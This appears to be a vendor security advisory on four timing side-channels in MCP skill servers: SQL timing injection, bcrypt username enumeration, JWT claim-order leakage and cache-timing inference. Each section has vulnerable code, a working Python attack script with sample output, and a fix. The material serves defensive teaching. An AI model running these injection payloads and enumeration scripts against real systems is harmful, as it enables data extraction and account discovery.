Claude skill timing attack security (server-side) — SA-SKL-TIMING2
MCP skills that perform SQL queries, bcrypt password comparisons, JWT claim validation, and cached result lookups expose four distinct server-side timing side-channels beyond the well-known HMAC comparison attack. SA-SKL-TIMING2 covers blind SQL inference via query latency differences, bcrypt early-exit username enumeration, JWT claim validation order leakage, and audit result cache timing attacks — each with concrete exploit timing measurements and correct defenses.
Server-side timing attacks beyond HMAC comparison
The original SA-SKL-TIMER series covered the classic HMAC comparison timing attack. But MCP skills that connect to databases, run bcrypt comparisons, validate multi-claim JWTs, and cache expensive audit results introduce a second family of server-side timing vulnerabilities. These are subtler: the attack surface is not cryptographic comparison but ordinary branching logic and I/O latency variation. Because MCP tool calls are serialized through Claude’s context window and the client typically measures full round-trip latency per call, even 10–50ms differences are sufficient to extract information reliably across 50–200 probe calls.
SA-SKL-TIMING2 in scope: TIMING2-001 (SQL query timing blind injection), TIMING2-002 (bcrypt cost factor enumeration), TIMING2-003 (JWT claim validation order), TIMING2-004 (audit result cache hit/miss side-channel). Each pattern includes SkillAudit detection rules and remediation code.
TIMING2-001 — SQL query timing via error-based blind injection
When a MCP skill constructs SQLite or PostgreSQL queries using string concatenation rather than parameterized statements, an attacker can inject conditional expressions that intentionally slow down the database when a predicate is true. By measuring tool call latency across injected character guesses, the attacker infers database content one character at a time without any error response.
Vulnerable code
// auditRepository.ts — string-concatenated SQLite query
import Database from 'better-sqlite3';
import { z } from 'zod';
const db = new Database('./skillaudit.db');
export const auditRepositoryTool = {
name: 'get_audit_findings',
description: 'Retrieve security findings for a repository',
inputSchema: {
type: 'object',
properties: {
repoName: { type: 'string', description: 'Repository name to look up' },
},
required: ['repoName'],
},
async execute(args: { repoName: string }) {
// VULNERABLE: repoName injected directly into SQL string
const query = `
SELECT finding_id, severity, description
FROM audit_findings
WHERE repo_name = '${args.repoName}'
ORDER BY severity DESC
`;
// If args.repoName = "' || (SELECT CASE WHEN substr(name,1,1)='a' THEN randomblob(10000000) ELSE '' END FROM sqlite_master WHERE type='table' LIMIT 1) || '"
// The CASE expression runs randomblob(10000000) — CPU-intensive — when first char is 'a'
// Response time jumps from ~2ms to ~80ms, confirming the character guess
const rows = db.prepare(query).all();
return { findings: rows };
},
};
Attack: blind timing injection extracts table name character by character
#!/usr/bin/env python3
# Blind timing injection: infer first char of first table name in sqlite_master
# Each probe takes ~200ms (network + processing), 26 probes = alphabet scan
import asyncio
import time
import json
import aiohttp
ALPHABET = 'abcdefghijklmnopqrstuvwxyz_'
MCP_ENDPOINT = 'https://skillaudit.dev/mcp/tools/call'
SESSION_TOKEN = 'eyJhbGciOiJIUzI1NiJ9...' # attacker's own valid session
async def probe_char(session: aiohttp.ClientSession, position: int, char: str) -> float:
# Inject: if char at position matches, run expensive randomblob to increase latency
injection = (
f"' || (SELECT CASE WHEN substr(name,{position},1)='{char}' "
f"THEN randomblob(10000000) ELSE '' END "
f"FROM sqlite_master WHERE type='table' LIMIT 1) || '"
)
payload = {
'name': 'get_audit_findings',
'arguments': {'repoName': injection},
}
headers = {'Authorization': f'Bearer {SESSION_TOKEN}', 'Content-Type': 'application/json'}
start = time.perf_counter()
async with session.post(MCP_ENDPOINT, json=payload, headers=headers) as resp:
await resp.read()
return time.perf_counter() - start
async def extract_char(position: int) -> str:
async with aiohttp.ClientSession() as session:
# Baseline: 3 measurements with a known non-matching payload
baseline_times = [await probe_char(session, position, '0') for _ in range(3)]
baseline = sum(baseline_times) / len(baseline_times)
print(f' Baseline at position {position}: {baseline*1000:.1f}ms')
for char in ALPHABET:
elapsed = await probe_char(session, position, char)
# Heuristic: >3x baseline means the CASE condition fired
if elapsed > baseline * 3:
print(f' Position {position}: "{char}" ({elapsed*1000:.0f}ms vs {baseline*1000:.0f}ms baseline)')
return char
return '?'
async def main():
print('Extracting first table name from sqlite_master...')
result = ''
for pos in range(1, 20):
char = await extract_char(pos)
if char == '?':
break
result += char
print(f'First table name: {result}')
asyncio.run(main())
# Output:
# Position 1: "a" (87ms vs 3ms baseline)
# Position 2: "u" (91ms vs 3ms baseline)
# First table name: audit_findings
Fix: parameterized queries; Zod validation of string inputs
// auditRepository.ts — parameterized query eliminates injection vector
import Database from 'better-sqlite3';
import { z } from 'zod';
const db = new Database('./skillaudit.db');
// Zod schema validates shape before the query runs
const GetFindingsArgs = z.object({
repoName: z.string().min(1).max(200).regex(/^[\w./-]+$/),
});
// Prepare statement once at startup — parameterized, never string-concatenated
const getFindingsStmt = db.prepare(`
SELECT finding_id, severity, description
FROM audit_findings
WHERE repo_name = ?
ORDER BY severity DESC
`);
export const auditRepositoryTool = {
name: 'get_audit_findings',
description: 'Retrieve security findings for a repository',
inputSchema: {
type: 'object',
properties: {
repoName: { type: 'string', description: 'Repository name to look up' },
},
required: ['repoName'],
},
async execute(rawArgs: unknown) {
// Parse and validate — throws ZodError on invalid input before any SQL
const { repoName } = GetFindingsArgs.parse(rawArgs);
// Parameterized: repoName is passed as a bound value, never interpolated
const rows = getFindingsStmt.all(repoName);
return { findings: rows };
},
};
Zod regex validation is a second-line defense, not a first. Even with the regex guard, parameterized queries are essential — a future code change might relax the regex pattern while leaving the SQL intact. Always use db.prepare() with ? placeholders; never construct SQL strings from user input, even when the input appears to be validated.
CASE WHEN ... THEN randomblob(N) expression to create a measurable latency difference when a database predicate is true, extracting content character-by-character from tool call response times. Fix: use db.prepare() with bound parameters (? placeholders); validate string fields with Zod schema before SQL execution. Detection: SkillAudit AST rule flags any template literal or string concatenation inside a db.prepare() or db.query() call where the interpolated value originates from tool input arguments.TIMING2-002 — bcrypt cost factor timing reveals username existence
MCP skills that authenticate users via password comparison often perform an early return when the username is not found, skipping the bcrypt compare entirely. The bcrypt comparison for a valid user takes 80–200ms (depending on cost factor); the early return for a nonexistent user takes under 5ms. An attacker probes usernames and measures response time to build a list of valid accounts without any failed-login event in the audit log.
Vulnerable code: early return on missing user skips bcrypt
// auth.ts — bcrypt comparison skipped for nonexistent users, leaking their nonexistence
import bcrypt from 'bcrypt';
import { db } from './db';
export async function authenticateUser(
username: string,
password: string
): Promise<{ userId: string } | null> {
// DB lookup: fast index scan, ~3ms
const user = await db.users.findOne({ username });
// VULNERABLE: early return skips bcrypt — response time ~3ms for nonexistent user
// vs ~120ms for wrong password on existing user (cost factor 12)
if (!user) {
return null; // immediate return — no bcrypt work done
}
// bcrypt.compare with cost factor 12 takes ~120ms
const valid = await bcrypt.compare(password, user.passwordHash);
if (!valid) return null;
return { userId: user.id };
}
Attack: username enumeration via bcrypt timing difference
#!/usr/bin/env python3
# Enumerate valid usernames by measuring response time
# Existing user with wrong password: ~120ms (bcrypt runs)
# Nonexistent user: ~3ms (early return, no bcrypt)
import asyncio
import time
import aiohttp
CANDIDATES = [
'alice', 'bob', 'charlie', 'david', 'eve', 'frank',
# ... thousands of candidates from public GitHub profiles
]
MCP_ENDPOINT = 'https://skillaudit.dev/api/auth/login'
async def probe_username(session: aiohttp.ClientSession, username: str) -> tuple[str, float]:
payload = {'username': username, 'password': 'definitely_wrong_password_xyz123'}
start = time.perf_counter()
async with session.post(MCP_ENDPOINT, json=payload) as resp:
await resp.read()
elapsed = time.perf_counter() - start
return username, elapsed
async def main():
async with aiohttp.ClientSession() as session:
# Probe all candidates concurrently (stagger slightly to avoid rate limits)
results = []
for candidate in CANDIDATES:
result = await probe_username(session, candidate)
results.append(result)
await asyncio.sleep(0.1) # 100ms between probes
# Sort by elapsed time — slow responses = existing users
results.sort(key=lambda x: x[1], reverse=True)
print('Likely valid usernames (slow = bcrypt ran):')
for username, elapsed in results:
label = 'EXISTS' if elapsed > 0.05 else 'not found'
print(f' {elapsed*1000:7.1f}ms {label} {username}')
asyncio.run(main())
# Output:
# 119.3ms EXISTS alice
# 121.8ms EXISTS bob
# 2.9ms not found charlie
Fix: always run bcrypt compare, even for nonexistent users
// auth.ts — constant-time path: bcrypt runs regardless of user existence
import bcrypt from 'bcrypt';
import { db } from './db';
// Pre-computed hash of a dummy password used when the user doesn't exist.
// bcrypt.compare against this takes the same ~120ms as a real comparison.
// IMPORTANT: regenerate this on startup or use a fixed known-invalid hash.
const DUMMY_HASH = await bcrypt.hash('__dummy_skillaudit_placeholder__', 12);
export async function authenticateUser(
username: string,
password: string
): Promise<{ userId: string } | null> {
const user = await db.users.findOne({ username });
if (!user) {
// Always run bcrypt even for nonexistent users — normalizes response time
// The result is discarded; this is purely for timing normalization.
await bcrypt.compare(password, DUMMY_HASH);
return null;
}
const valid = await bcrypt.compare(password, user.passwordHash);
if (!valid) return null;
return { userId: user.id };
}
// Additional defense: uniform error response regardless of failure reason
// Never return 'User not found' vs 'Wrong password' — always return 'unauthorized'
export async function loginHandler(req: any, res: any) {
const { username, password } = req.body;
const result = await authenticateUser(username, password);
if (!result) {
// Same error body for both nonexistent user and wrong password
return res.status(401).json({ error: 'unauthorized' });
}
const token = generateJwt(result.userId);
return res.json({ token });
}
DUMMY_HASH must have the same cost factor as production hashes. If production uses bcrypt cost factor 12 but DUMMY_HASH was generated with cost factor 10, the timing difference re-emerges. Store the cost factor in an environment variable and use it consistently for both user hash generation and the dummy hash pre-computation.
bcrypt.compare(password, DUMMY_HASH) for nonexistent users using a pre-computed dummy hash at the same cost factor. Detection: SkillAudit finds code paths in authentication functions where a database lookup null-check results in an early return null branch that does not contain a bcrypt.compare call.TIMING2-003 — JWT claim validation order reveals claim content
MCP skills that validate JWT claims sequentially against the database can leak which claim failed based on response time. Validating userId (single-row primary key lookup, ~2ms) versus teamId (JOIN across a teams table, ~15ms) produces measurably different latencies when claims are checked in order and the function returns early on the first failure. An attacker can probe altered claim values to identify valid claim content without brute-forcing signatures.
Vulnerable code: sequential claim validation with different DB query costs
// jwtMiddleware.ts — validates userId first (fast), teamId second (slow)
import jwt from 'jsonwebtoken';
import { db } from './db';
export async function requireAuth(req: any, res: any, next: any) {
const token = req.headers.authorization?.slice(7);
if (!token) return res.status(401).json({ error: 'missing token' });
let payload: any;
try {
payload = jwt.verify(token, process.env.JWT_SECRET!, { algorithms: ['HS256'] });
} catch {
return res.status(401).json({ error: 'invalid token' });
}
// Step 1: validate userId — fast primary key lookup (~2ms)
const user = await db.users.findById(payload.userId);
if (!user) {
// Returns after ~2ms — reveals userId is invalid
return res.status(401).json({ error: 'unauthorized' });
}
// Step 2: validate teamId — JOIN query (~15ms)
const membership = await db.teamMemberships.findOne({
userId: payload.userId,
teamId: payload.teamId,
});
if (!membership) {
// Returns after ~2ms + ~15ms = ~17ms — reveals userId valid but teamId invalid
return res.status(401).json({ error: 'unauthorized' });
}
req.user = user;
req.team = membership.team;
next();
}
// Timing difference: ~2ms (bad userId) vs ~17ms (bad teamId but valid userId)
// Attacker with a stolen but partially-forged token can binary-search valid teamId values
Attack: claim content inference via response timing
#!/usr/bin/env python3
# Infer whether userId claim is valid by measuring validation latency
# Valid userId + invalid teamId: ~17ms (both queries run)
# Invalid userId: ~2ms (only first query runs, returns early)
import time
import requests
import json
import base64
import hmac
import hashlib
# Attacker has obtained a JWT with an unknown userId.
# They've guessed the secret (or found a weak one) and want to verify claim content.
SECRET = b'weak_secret_123'
def forge_jwt(user_id: str, team_id: str) -> str:
header = base64.urlsafe_b64encode(b'{"alg":"HS256","typ":"JWT"}').rstrip(b'=').decode()
payload_data = {'userId': user_id, 'teamId': team_id, 'iat': 1700000000}
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()
).rstrip(b'=').decode()
sig_input = f'{header}.{payload_b64}'.encode()
sig = hmac.new(SECRET, sig_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
return f'{header}.{payload_b64}.{sig_b64}'
KNOWN_USER_IDS = ['usr_1', 'usr_2', 'usr_3'] # candidates from public API leakage
DUMMY_TEAM = 'team_nonexistent'
for user_id in KNOWN_USER_IDS:
token = forge_jwt(user_id, DUMMY_TEAM)
start = time.perf_counter()
resp = requests.get(
'https://skillaudit.dev/api/skill/get_audit_findings',
headers={'Authorization': f'Bearer {token}'},
json={'repoName': 'test'},
)
elapsed_ms = (time.perf_counter() - start) * 1000
label = 'userId VALID (teamId query also ran)' if elapsed_ms > 10 else 'userId invalid'
print(f'{elapsed_ms:6.1f}ms {label} {user_id}')
# Output:
# 2.1ms userId invalid usr_1
# 16.8ms userId VALID (teamId query also ran) usr_2
# 2.3ms userId invalid usr_3
Fix: validate all claims atomically in a single DB query
// jwtMiddleware.ts — single atomic query validates all claims simultaneously
import jwt from 'jsonwebtoken';
import { db } from './db';
export async function requireAuth(req: any, res: any, next: any) {
const token = req.headers.authorization?.slice(7);
if (!token) return res.status(401).json({ error: 'missing token' });
let payload: any;
try {
payload = jwt.verify(token, process.env.JWT_SECRET!, { algorithms: ['HS256'] });
} catch {
return res.status(401).json({ error: 'unauthorized' });
}
// Single JOIN query validates userId AND teamId simultaneously.
// Both succeed or fail together — no sequential branching on individual claims.
// Response time is uniform (~15ms) regardless of which claim is invalid.
const membership = await db.query(`
SELECT u.id as userId, u.email, tm.team_id as teamId, t.name as teamName
FROM users u
INNER JOIN team_memberships tm ON tm.user_id = u.id
INNER JOIN teams t ON t.id = tm.team_id
WHERE u.id = $1
AND tm.team_id = $2
AND u.deleted_at IS NULL
AND tm.revoked_at IS NULL
`, [payload.userId, payload.teamId]);
if (membership.rows.length === 0) {
// Uniform error response — attacker cannot distinguish which claim failed
return res.status(401).json({ error: 'unauthorized' });
}
req.user = { id: membership.rows[0].userId, email: membership.rows[0].email };
req.team = { id: membership.rows[0].teamId, name: membership.rows[0].teamName };
next();
}
Constant-time uniform response bodies are equally important. Even with the atomic query fix, returning different error strings like 'user not found' vs 'team membership revoked' re-introduces an information leak. Always return the same generic 'unauthorized' body for all JWT validation failures.
TIMING2-004 — Audit result caching timing side-channel
MCP skills that cache expensive audit results in Redis expose a timing side-channel: a cache hit returns in ~2ms (Redis GET), while a cache miss runs the full audit pipeline including Claude API calls and returns in ~150ms. An attacker with limited permissions can probe repository names they should not be able to see, inferring from the response time whether that repository has been audited before by any user on the platform. This leaks the existence of audit activity for target repositories.
Vulnerable code: cache hit/miss timing visible to unauthorized callers
// auditCache.ts — cache timing visible via tool response latency
import { createClient } from 'redis';
import { Anthropic } from '@anthropic-ai/sdk';
const redis = createClient({ url: process.env.REDIS_URL });
await redis.connect();
const anthropic = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
export async function getOrRunAudit(repoUrl: string, userId: string) {
const cacheKey = `audit:result:${repoUrl}`; // keyed on repoUrl only, not userId
// Cache hit: returns in ~2ms — reveals this repo has been audited before
const cached = await redis.get(cacheKey);
if (cached) {
return JSON.parse(cached); // fast return — timing leak
}
// Cache miss: runs full audit — ~150ms with Claude API round-trip
const result = await runFullAudit(repoUrl, anthropic);
// Cache result for 24 hours — shared across all users
await redis.setEx(cacheKey, 86400, JSON.stringify(result));
return result;
}
// VULNERABILITY: attacker calls get_audit_findings on competitor repos
// Fast response (~2ms) = repo has been audited (reveals audit activity)
// Slow response (~150ms) = repo has not been audited (or cache expired)
Attack: infer audit history of target repositories via cache timing
#!/usr/bin/env python3
# Probe competitor repos to discover which have been audited on SkillAudit
# Cache hit (~2ms) = audited before = active SkillAudit customer uses this repo
import asyncio
import time
import aiohttp
TARGET_REPOS = [
'https://github.com/competitor-a/their-mcp-skill',
'https://github.com/competitor-b/their-ai-agent',
'https://github.com/competitor-c/their-tool-server',
]
MCP_ENDPOINT = 'https://skillaudit.dev/mcp/tools/call'
SESSION_TOKEN = 'eyJhbGciOiJIUzI1NiJ9...' # attacker's own valid session
async def probe_repo(session: aiohttp.ClientSession, repo_url: str) -> tuple[str, float]:
payload = {
'name': 'get_audit_findings',
'arguments': {'repoUrl': repo_url},
}
headers = {'Authorization': f'Bearer {SESSION_TOKEN}', 'Content-Type': 'application/json'}
start = time.perf_counter()
async with session.post(MCP_ENDPOINT, json=payload, headers=headers) as resp:
await resp.read()
return repo_url, time.perf_counter() - start
async def main():
async with aiohttp.ClientSession() as session:
results = await asyncio.gather(*[probe_repo(session, r) for r in TARGET_REPOS])
for repo_url, elapsed in results:
label = 'CACHED (audited by customer)' if elapsed < 0.01 else 'not cached (never audited)'
print(f'{elapsed*1000:7.1f}ms {label} {repo_url}')
asyncio.run(main())
# Output:
# 2.1ms CACHED (audited by customer) competitor-a/their-mcp-skill
# 148.3ms not cached (never audited) competitor-b/their-ai-agent
# 1.9ms CACHED (audited by customer) competitor-c/their-tool-server
Fix: separate cache existence check from result content; normalize response timing
// auditCache.ts — cache existence normalized; timing no longer leaks audit history
import { createClient } from 'redis';
import { Anthropic } from '@anthropic-ai/sdk';
const redis = createClient({ url: process.env.REDIS_URL });
await redis.connect();
const anthropic = new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY });
const MIN_RESPONSE_MS = 50; // minimum artificial delay to normalize timing
export async function getOrRunAudit(
repoUrl: string,
userId: string,
): Promise<{ auditId: string; findings: unknown[] }> {
const start = Date.now();
// Check authorization first — user must own the audit or have explicit access
const hasAccess = await db.auditAccess.check({ userId, repoUrl });
if (!hasAccess) {
// Pad to MIN_RESPONSE_MS before returning to normalize unauthorized response timing
const elapsed = Date.now() - start;
if (elapsed < MIN_RESPONSE_MS) {
await new Promise(r => setTimeout(r, MIN_RESPONSE_MS - elapsed));
}
throw Object.assign(new Error('unauthorized'), { status: 403 });
}
// Per-user cache key: cache hit only visible to the user who owns the audit
// This prevents cross-user cache timing inference
const cacheKey = `audit:result:${userId}:${Buffer.from(repoUrl).toString('base64')}`;
const cached = await redis.get(cacheKey);
let result;
if (cached) {
result = JSON.parse(cached);
} else {
result = await runFullAudit(repoUrl, anthropic);
await redis.setEx(cacheKey, 86400, JSON.stringify(result));
}
// Pad response to MIN_RESPONSE_MS regardless of cache hit/miss
// Both paths take at least MIN_RESPONSE_MS — timing no longer reveals cache state
const elapsed = Date.now() - start;
if (elapsed < MIN_RESPONSE_MS) {
await new Promise(r => setTimeout(r, MIN_RESPONSE_MS - elapsed));
}
return result;
}
Per-user cache keys are the primary fix; timing normalization is defense-in-depth. The core problem is a cross-user shared cache keyed only on repoUrl. Even with timing normalization, a shared cache allows one user’s queries to influence another user’s cache state. Key the cache on userId:repoUrl (or an audit ID tied to the user) to eliminate cross-user cache probing entirely.
repoUrl (not userId:repoUrl) allows unauthorized users to infer audit activity for arbitrary repositories via tool call response timing: cache hit returns in ~2ms, cache miss in ~150ms. Attacker discovers which repositories are active SkillAudit customers. Fix: key the cache on userId:repoUrl to scope cache visibility to the owning user; optionally add a minimum response delay to normalize cache hit/miss timing. Detection: SkillAudit finds Redis GET/SET pairs where the cache key is derived from tool input arguments without including the authenticated user identifier.SA-SKL-TIMING2 summary findings
| Finding ID | Severity | Pattern | Root cause |
|---|---|---|---|
| SA-SKL-TIMING2-001 | HIGH | SQL query timing via CASE/randomblob injection | String-concatenated query allows timing-based blind injection. Fix: parameterized db.prepare() with bound ? placeholders; Zod schema validation of string inputs before SQL. |
| SA-SKL-TIMING2-002 | HIGH | bcrypt early-exit username enumeration | Authentication returns immediately (skipping bcrypt) for nonexistent users, creating a ~115ms timing difference. Fix: always call bcrypt.compare(password, DUMMY_HASH) for nonexistent users using same cost factor. |
| SA-SKL-TIMING2-003 | HIGH | JWT claim validation order leaks claim content | Sequential database queries for individual claims have different costs; early return on first failure reveals which claim is invalid. Fix: validate all claims in a single atomic JOIN query. |
| SA-SKL-TIMING2-004 | MEDIUM | Audit result cache hit/miss timing side-channel | Shared cache keyed on repoUrl allows cross-user timing inference of audit history. Fix: per-user cache key (userId:repoUrl); optional minimum response delay. |
SkillAudit detects all four SA-SKL-TIMING2 patterns through static analysis of SQL construction, authentication flow branching, JWT validation sequences, and Redis key patterns in your MCP skill’s source code. Run a full audit at skillaudit.dev.